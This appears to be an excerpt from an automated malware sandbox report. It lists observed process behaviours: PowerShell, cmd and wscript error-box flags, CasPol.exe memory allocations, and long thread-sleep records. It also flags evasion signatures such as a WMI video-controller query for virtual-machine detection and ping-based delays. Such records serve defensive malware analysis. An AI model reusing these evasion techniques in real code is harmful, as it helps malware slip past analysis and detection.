Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Uses ping.exe to sleep

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Memory allocated: 1240000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Memory allocated: 30D0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Memory allocated: 50D0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Memory allocated: 1780000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Memory allocated: 3500000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Memory allocated: 1780000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Memory allocated: FB0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Memory allocated: 2D80000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Memory allocated: 2950000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Memory allocated: 2FA0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Memory allocated: 3490000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Memory allocated: 5490000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Memory allocated: 1860000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Memory allocated: 3540000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Memory allocated: 3140000 memory reserve \| memory write watch

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 18_2_00007FF7B38E9589 sldt word ptr fs:[eax]

18_2_00007FF7B38E9589

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2086
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1292
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7091
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2620
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1056
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8189
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1433
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1446
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6419
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3266
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 943
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2006
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 432
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 745
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3916
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 651
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 519
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 424
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7223
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 521
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 739
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5266
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 961
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6116
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2873
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 565
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6717
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3003
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 498
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4455
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3436
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 835
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5050
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4713
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2143
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 694
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Window / User API: threadDelayed 4912
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Window / User API: threadDelayed 4880
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 824
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9141
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 619
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 700
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9355
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 401
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 488
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 515
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9437
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9349

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4084	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6492	Thread sleep count: 7091 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3200	Thread sleep count: 2620 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3528	Thread sleep time: -23980767295822402s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5864	Thread sleep count: 1056 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3984	Thread sleep count: 133 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3996	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5408	Thread sleep count: 8189 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5320	Thread sleep count: 1433 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5048	Thread sleep time: -24903104499507879s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6812	Thread sleep count: 1446 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4912	Thread sleep count: 137 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5364	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8248	Thread sleep count: 6419 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8368	Thread sleep time: -23980767295822402s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8248	Thread sleep count: 3266 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4868	Thread sleep count: 943 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8296	Thread sleep count: 103 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4952	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8372	Thread sleep count: 2006 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8392	Thread sleep count: 237 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8336	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8376	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8356	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8772	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8760	Thread sleep count: 745 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8808	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9004	Thread sleep count: 3916 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8828	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9004	Thread sleep count: 103 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8736	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9036	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6716	Thread sleep count: 651 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9168	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8588	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5356	Thread sleep count: 424 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3144	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7536	Thread sleep count: 7223 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4444	Thread sleep time: -17524406870024063s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5460	Thread sleep count: 521 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 824	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5688	Thread sleep count: 739 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7264	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8804	Thread sleep count: 5266 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7668	Thread sleep time: -15679732462653109s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8844	Thread sleep count: 125 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5848	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8860	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6036	Thread sleep count: 961 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8980	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8224	Thread sleep count: 6116 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5512	Thread sleep time: -23058430092136925s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1952	Thread sleep count: 2873 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3688	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8784	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3092	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6816	Thread sleep count: 565 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1308	Thread sleep count: 262 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1724	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7912	Thread sleep count: 6717 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5824	Thread sleep count: 3003 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4448	Thread sleep time: -23980767295822402s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 636	Thread sleep count: 498 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1852	Thread sleep count: 259 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6164	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2740	Thread sleep count: 4455 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4780	Thread sleep time: -20291418481080494s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2740	Thread sleep count: 3436 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3608	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8988	Thread sleep count: 1000 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1976	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6984	Thread sleep count: 835 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2380	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1304	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1996	Thread sleep count: 5050 > 30
